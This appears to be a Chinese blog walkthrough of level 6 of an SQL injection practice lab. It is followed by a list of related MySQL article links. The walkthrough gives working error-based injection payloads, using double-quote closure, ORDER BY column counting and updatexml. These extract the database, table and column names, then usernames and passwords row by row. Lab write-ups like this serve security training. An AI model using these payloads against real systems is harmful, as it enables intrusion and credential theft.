SQL靶场第六关

一.判断闭合点

闭合点是"

输入?id=1'页面无变化

输入?id=1"页面报错,加上--+,页面恢复正常,说明闭合点是"

二.判断列数

输入?id=1" order by 3--+页面正常

输入?id=1" order by 4--+页面异常,说明有3列

三.查询数据库

我们先判断回显点,输入?id=1" union select 1,2,3--+

发现没有回显点,我们利用报错注入

输入?id=1" and updatexml(1,concat(1,(select database())),1)--+查询到数据库为security

四.查询数据表

输入?id=1" and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

五.查询列名

输入?id=1" and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

六.查询数据

输入?id=1" and updatexml(1,concat(1,(select group_concat(id,'~',username,'~',password) from users)),1)--+

这里我们发现数据不全,我们就需要用到limit函数

第一个数据:

输入?id=1" and updatexml(1,concat(1,(select concat(id,'~',username,'~',password) from users limit 0,1)),1)--+

第二个数据:?id=1" and updatexml(1,concat(1,(select concat(id,'~',username,'~',password) from users limit 1,1)),1)--+

。。。依次类推。。。

以上就是sql靶场第六关的通关攻略!

相关推荐
swan4169 分钟前
SCAU期末笔记 - 数据库系统概念往年试卷解析
数据库·笔记·mysql·数据库系统·数据库系统概念
zhangxueyi35 分钟前
SQL语言版本的差异、技术前景
数据库·sql·mysql·oracle
罗仲虎1 小时前
CDP集成Hudi实战-Hive
大数据·数据库·数据仓库·hive·hadoop
苹果酱05671 小时前
Golang的代码质量分析工具
java·vue.js·spring boot·mysql·课程设计
武子康1 小时前
大数据-268 实时数仓 - ODS层 将 Kafka 中的维度表写入 DIM
java·大数据·数据库·数据仓库·分布式·mysql·kafka
热爱编程的小曾1 小时前
修改secure-file-priv参数-mysql5.7.26限制不允许导入或导出的解决方法
mysql
iVictor1 小时前
基于源码分析 SHOW GLOBAL STATUS 的实现原理
mysql
Run Out Of Brain1 小时前
使用Oracle的RPM包在Linux上安装MYSQL
linux·mysql·oracle
不是二师兄的八戒1 小时前
深入解析与实践:MySQL
数据库·mysql
会飞的爱迪生1 小时前
centos7yum安装mysql5.7
mysql